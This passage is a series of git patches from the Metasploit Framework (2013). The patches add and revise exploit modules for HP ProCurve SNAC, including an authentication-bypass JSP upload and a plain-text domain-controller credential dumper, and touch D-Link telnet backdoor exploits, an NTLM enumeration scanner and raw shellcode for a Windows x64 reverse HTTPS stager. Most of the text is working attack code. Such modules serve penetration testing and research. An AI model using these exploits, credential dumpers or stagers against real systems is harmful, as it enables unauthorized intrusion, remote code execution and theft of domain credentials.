'cookie' => session, + 'data' => data, + }) + + if res + print_status("#{res.request.to_s}\n#{res.code}\n#{res.body}") + end + + if res and res.code == 200 and res.body =~ /Certificate import fails/ + return jsp_name + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def exploit + print_status("#{peer} - Getting a valid session...") + session = get_session + if session.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session") + end + + print_status("#{peer} - Uploading payload...") + jsp = exploit_upload(session) + unless jsp + fail_with(Failure::NotVulnerable, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" }) + end + +end From dca4351303466d65d0060466765ff68b6ac9215f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 13 Sep 2013 16:51:14 -0500 Subject: [PATCH 143/160] Add check function --- .../http/hp_pcm_snac_update_certificates.rb | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index 126acf9203..5e9faedf36 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -58,7 +58,21 @@ class Metasploit3 < Msf::Exploit::Remote end def check - return Exploit::CheckCode::Vulnerable + session = get_session + if session.nil? + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetCertificateStatusServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /"success":"true"/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe end def get_session From 10303a8c2acc903c8e45ed7dc040be9323c109f6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 13 Sep 2013 17:05:23 -0500 Subject: [PATCH 144/160] Delete debug print_status --- .../exploits/windows/http/hp_pcm_snac_update_certificates.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index 5e9faedf36..4f32e54e27 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -109,10 +109,6 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data, }) - if res - print_status("#{res.request.to_s}\n#{res.code}\n#{res.body}") - end - if res and res.code == 200 and res.body =~ /Certificate import fails/ return jsp_name end From 54e9cd81f3402375c21e68c99e5053e93d3b559e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 13 Sep 2013 17:31:51 -0500 Subject: [PATCH 145/160] Add module for ZDI-13-226 --- .../windows/http/hp_pcm_snac_update_domain.rb | 138 ++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 modules/exploits/windows/http/hp_pcm_snac_update_domain.rb diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb new file mode 100644 index 0000000000..f80827cd79 --- /dev/null +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -0,0 +1,138 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload', + 'Description' => %q{ + This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The + vulnerability, on the UpdateDomainControllerServlet, allows an attacker to upload arbitrary + files, just having into account binary writes aren't allowed. Additionally, authentication + can be bypassed in order to upload the file. This module has been tested successfully on + the SNAC server installed with HP ProCurve Manager 4.0. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4811' ], + [ 'OSVDB', '97154' ], + [ 'BID', '62349' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-226/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => 'Sep 09 2013')) + + register_options( + [ + Opt::RPORT(443) + ], self.class ) + end + + def check + session = get_session + if session.nil? + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /domainName/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def exploit_upload(session) + jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp" + post_message = Rex::MIME::Message.new + post_message.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"adCert\"; filename=\"\\../#{jsp_name}\"") + post_message.add_part("{}", nil, nil, "form-data; name=\"ad_data\"") + post_message.add_part("add", nil, nil, "form-data; name=\"ad_action\"") + data = post_message.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => "/RegWeb/RegWeb/UpdateDomainControllerServlet", + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_message.bound}", + 'cookie' => session, + 'data' => data, + }) + + if res and res.code == 200 and res.body =~ /success:false/ + return jsp_name + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def exploit + print_status("#{peer} - Getting a valid session...") + session = get_session + if session.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session") + end + + print_status("#{peer} - Uploading payload...") + jsp = exploit_upload(session) + unless jsp + fail_with(Failure::NotVulnerable, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" }) + end + +end From 40aeaf445bf586e08ee5c3a2205de88f2f595f05 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 13 Sep 2013 18:29:57 -0500 Subject: [PATCH 146/160] Add auxiliary module for HP SNAC Auth Bypass --- .../auxiliary/gather/hp_snac_domain_creds.rb | 145 ++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 modules/auxiliary/gather/hp_snac_domain_creds.rb diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb new file mode 100644 index 0000000000..6695e1758b --- /dev/null +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -0,0 +1,145 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve SNAC Domain Controller Credential Dumper', + 'Description' => %q{ + This module will extract Domain Controller credentials from vulnerable installations of HP + SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability + has been used to exploit remote file uploads. But it can be used to gather important + information handled by the vulnerable application, like domain controller plain text stored + credentials. This module has been tested successfully with HP SNAC included with ProCurve + Manager 4.0. + }, + 'References' => + [ + ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409'] + ], + 'Author' => + [ + 'rgod ', # Auth bypass discovered by + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => "Sep 09 2013" + )) + + register_options( + [ + Opt::RPORT(443) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def get_domain_info(session) + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /domainName/ + return res.body + end + + return nil + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def parse_domain_data(data) + results = [] + doc = REXML::Document.new(data) + + doc.elements.each("Controllers/Domain") do |domain| + dc_ip = domain.elements['domainControllerIP'].text + port = domain.elements['port'].text + service = domain.elements['connType'].text + user = domain.elements['userName'].text + password = domain.elements['password'].text + results << [dc_ip, port, service, user, password] + end + + return results + end + + def run + + print_status("#{peer} - Get Domain Info") + session = get_session + + if session.nil? + print_error("#{peer} - Failed to get a valid session, maybe the target isn't HP SNAC installation?") + return + end + + print_status("#{peer} - Exploiting Authentication Bypass to gather Domain Controller Info...") + domain_info = get_domain_info(session) + + if domain_info.nil? + print_error("#{peer} - Failed, maybe the target isn't vulnerable") + return + end + + print_status("#{peer} - Parsing data gathered...") + credentials = parse_domain_data(domain_info) + + if credentials.empty? + print_warning("#{peer} - Any Domain Controller has been found...") + return + end + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Domain Controllers Credentials', + 'Indent' => 1, + 'Columns' => ['Domain Controller', 'Username', 'Password'] + ) + + credentials.each do |record| + report_auth_info({ + :host => record[0], + :port => record[1], + :sname => record[2].downcase, + :user => record[3], + :pass => record[4], + :source_type => "vuln" + }) + cred_table << [record[0], record[3], record[4]] + end + + print_line + print_line(cred_table.to_s) + + end +end From 27419831584ac1bcc17ccdec51162a844e5cd3a3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 13 Sep 2013 18:31:11 -0500 Subject: [PATCH 147/160] Update description --- modules/auxiliary/gather/hp_snac_domain_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 6695e1758b..1041a951fe 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary This module will extract Domain Controller credentials from vulnerable installations of HP SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability has been used to exploit remote file uploads. But it can be used to gather important - information handled by the vulnerable application, like domain controller plain text stored + information handled by the vulnerable application, like plain text domain controller credentials. This module has been tested successfully with HP SNAC included with ProCurve Manager 4.0. }, From 4040fe4b6bd977f8d39f78c536468ac862f1a2ea Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 16 Sep 2013 08:15:46 -0500 Subject: [PATCH 148/160] Fix style --- .../scanner/http/ntlm_info_enumeration.rb | 48 +++++++++++-------- 1 file changed, 29 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 6c3f827b63..76e623af4b 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary ) register_options( [ - OptPath.new('TARGETURIS', [ false, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")]) + OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")]) ], self.class) end @@ -39,17 +39,28 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) File.open(datastore['TARGETURIS'], 'rb').each_line do |line| test_uri = line.chomp - tpath = normalize_uri(test_uri) - result = check_url(tpath) + test_path = normalize_uri(test_uri) + result = check_url(test_path) if result - print_good("Enumerated info on #{peer}#{tpath} - (name:#{result[:nbname]}) (domain:#{result[:nbdomain]}) (domain_fqdn:#{result[:dnsdomain]}) (server_fqdn:#{result[:dnsserver]})") + message = "Enumerated info on #{peer}#{test_path} - " + message << "(name:#{result[:nb_name]}) " + message << "(domain:#{result[:nb_domain]}) " + message << "(domain_fqdn:#{result[:dns_domain]}) " + message << "(server_fqdn:#{result[:dns_server]})" + print_good(message) report_note( :host => ip, :port => rport, :proto => 'tcp', :sname => (ssl ? 'https' : 'http'), :ntype => 'ntlm.enumeration.info', - :data => {:uri=>tpath,:SMBName=>result[:nbname], :SMBDomain=>result[:nbdomain],:FQDNDomain=>result[:dnsdomain],:FQDNName=>result[:dnsserver]}, + :data => { + :uri=>test_path, + :SMBName => result[:nb_name], + :SMBDomain => result[:nb_domain], + :FQDNDomain => result[:dns_domain], + :FQDNName => result[:dns_server] + }, :update => :unique_data ) return @@ -66,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => "#{test_uri}", 'method' => 'GET', 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 20) + }) return if res.nil? @@ -75,22 +86,21 @@ class Metasploit3 < Msf::Auxiliary hash = res['WWW-Authenticate'].split('NTLM ')[1] #Parse out the NTLM and just get the Target Information Data target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() - # Retrieve Domain name subblock info - nbdomain = parse_ntlm_info(target,"\x02\x00",0) + nb_domain = parse_ntlm_info(target, "\x02\x00", 0) # Retrieve Server name subblock info - nbname = parse_ntlm_info(target,"\x01\x00",nbdomain[:new_offset]) + nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset]) # Retrieve DNS domain name subblock info - dnsdomain = parse_ntlm_info(target,"\x04\x00",nbname[:new_offset]) + dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset]) # Retrieve DNS server name subblock info - dnsserver = parse_ntlm_info(target,"\x03\x00",dnsdomain[:new_offset]) + dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset]) return { - :nbname=>nbname[:message], - :nbdomain=>nbdomain[:message], - :dnsdomain=>dnsdomain[:message], - :dnsserver=>dnsserver[:message] - } + :nb_name => nb_name[:message], + :nb_domain => nb_domain[:message], + :dns_domain => dns_domain[:message], + :dns_server => dns_server[:message] + } end rescue OpenSSL::SSL::SSLError @@ -111,9 +121,9 @@ class Metasploit3 < Msf::Auxiliary offset = name_index.to_i size = message[offset+2].unpack('C').first return { - :message=>message[offset+3,size].gsub(/\0/,''), - :new_offset => offset + size - } + :message=>message[offset+3,size].gsub(/\0/,''), + :new_offset => offset + size + } end end From c18c41d8ea86101be3a52d0645bd0551cc5fcecc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 16 Sep 2013 09:26:13 -0500 Subject: [PATCH 149/160] Don't hidde exceptions --- .../linux/http/dlink_dir300_exec_telnet.rb | 34 ++++++++----------- .../http/dlink_upnp_exec_noauth_telnetd.rb | 34 ++++++++----------- 2 files changed, 29 insertions(+), 39 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 5ef40d5c6b..cf826933f4 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -138,29 +138,23 @@ class Metasploit3 < Msf::Exploit::Remote #starting the telnetd gives no response request(cmd) - begin - print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - if sock.nil? - fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") - else - print_good("#{rhost}:#{rport} - Telnet session successfully established...") - end - - handler(sock) - rescue - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + if sock.nil? + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end - return + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) end def request(cmd) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 6b4aedd232..700cfbc9dd 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -94,27 +94,23 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end - begin - print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - if sock.nil? - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") - else - print_good("#{rhost}:#{rport} - Telnet session successfully established...") - end - - handler(sock) - rescue - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) end def request(cmd, type) From f89af79223c055ddc6b5f4dcf597597b3d046a76 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 16 Sep 2013 15:41:50 -0500 Subject: [PATCH 150/160] Correct OSVDB for sophos sblistpack exploit --- modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb index b9b0097b72..9c69b13243 100644 --- a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2013-4983' ], - [ 'OSVDB', '97028' ], + [ 'OSVDB', '97029' ], [ 'BID', '62263'], [ 'EDB', '28175'], [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] From fe86325fd4c2312c301979699c231847b7a1efe1 Mon Sep 17 00:00:00 2001 From: Ryan Wincey Date: Mon, 16 Sep 2013 16:43:20 -0400 Subject: [PATCH 151/160] Fixed memory alignment for x64 reverse_http stager --- .../stagers/windows/x64/reverse_https.rb | 185 ++++++++++-------- 1 file changed, 100 insertions(+), 85 deletions(-) diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index d7634ea667..839ea0794d 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -12,93 +12,108 @@ require 'msf/core/handler/reverse_https' module Metasploit3 - include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Stager + include Msf::Payload::Windows - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Windows x64 Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', - 'Author' => [ - 'hdm', # original 32-bit implementation - 'agix' # x64 rewrite - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86_64, - 'Handler' => Msf::Handler::ReverseHttps, - 'Convention' => 'sockrdi https', - 'Stager' => - { - 'Offsets' => - { - # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 282, 'v' ], # Not a typo, really little endian - }, - 'Payload' => - "\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" + - "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + - "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + - "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" + - "\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" + - "\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" + - "\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" + - "\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" + - "\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" + - "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + - "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + - "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + - "\xFF\xFF\x5D\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" + - "\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" + - "\xD5\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" + - "\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5\xE9" + - "\x9B\x00\x00\x00\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" + - "\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" + - "\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5\xEB\x79\x48\x89\xC1\x48\x31" + - "\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" + - "\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" + - "\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00\x68\x80\x33" + - "\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" + - "\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" + - "\xD2\x4D\x31\xC0\x4D\x31\xC9\x52\x49\xBA\x2D\x06\x18\x7B\x00\x00" + - "\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1\xE9" + - "\x81\x00\x00\x00\xE8\x82\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00" + - "\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" + - "\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" + - "\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" + - "\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" + - "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + - "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + - "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" + - "\x75\xCE\x58\x58\xC3\xE8\xDA\xFE\xFF\xFF" - } - )) - end + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', + 'Author' => [ + 'hdm', # original 32-bit implementation + 'agix', # x64 rewrite + 'rwincey' # x64 fixup + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockrdi https', + 'Stager' => + { + 'Offsets' => + { + # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) + # 'EXITFUNC' => [ 290, 'V' ], + 'LPORT' => [ 286, 'v' ], # Not a typo, really little endian + }, + 'Payload' => + "\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" + + "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + + "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + + "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" + + "\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" + + "\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" + + "\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" + + "\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" + + "\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" + + "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + + "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + + "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + + "\xFF\xFF\x5D" + + "\x6A\x00" + #alignment + "\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" + + "\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" + + "\xD5" + + "\x6A\x00" + #alignment + "\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" + + "\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5" + + "\xE9\x9E\x00\x00\x00" + #updated jump offset + "\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" + + "\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" + + "\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5" + + "\xEB\x7C" + #updated jump offset + "\x48\x89\xC1\x48\x31" + + "\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" + + "\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" + + "\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00" + + "\x6A\x00" + #alignment + "\x68\x80\x33" + + "\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" + + "\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" + + "\xD2\x4D\x31\xC0\x4D\x31\xC9" + + "\x52\x52" + #updated alignment (extra push edx) + "\x49\xBA\x2D\x06\x18\x7B\x00\x00" + + "\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1" + + "\xE9\x81\x00\x00\x00"+ + "\xE8\x7F\xFF\xFF\xFF" + #updated jump offset + "\x2F\x31\x32\x33\x34\x35\x00" + + 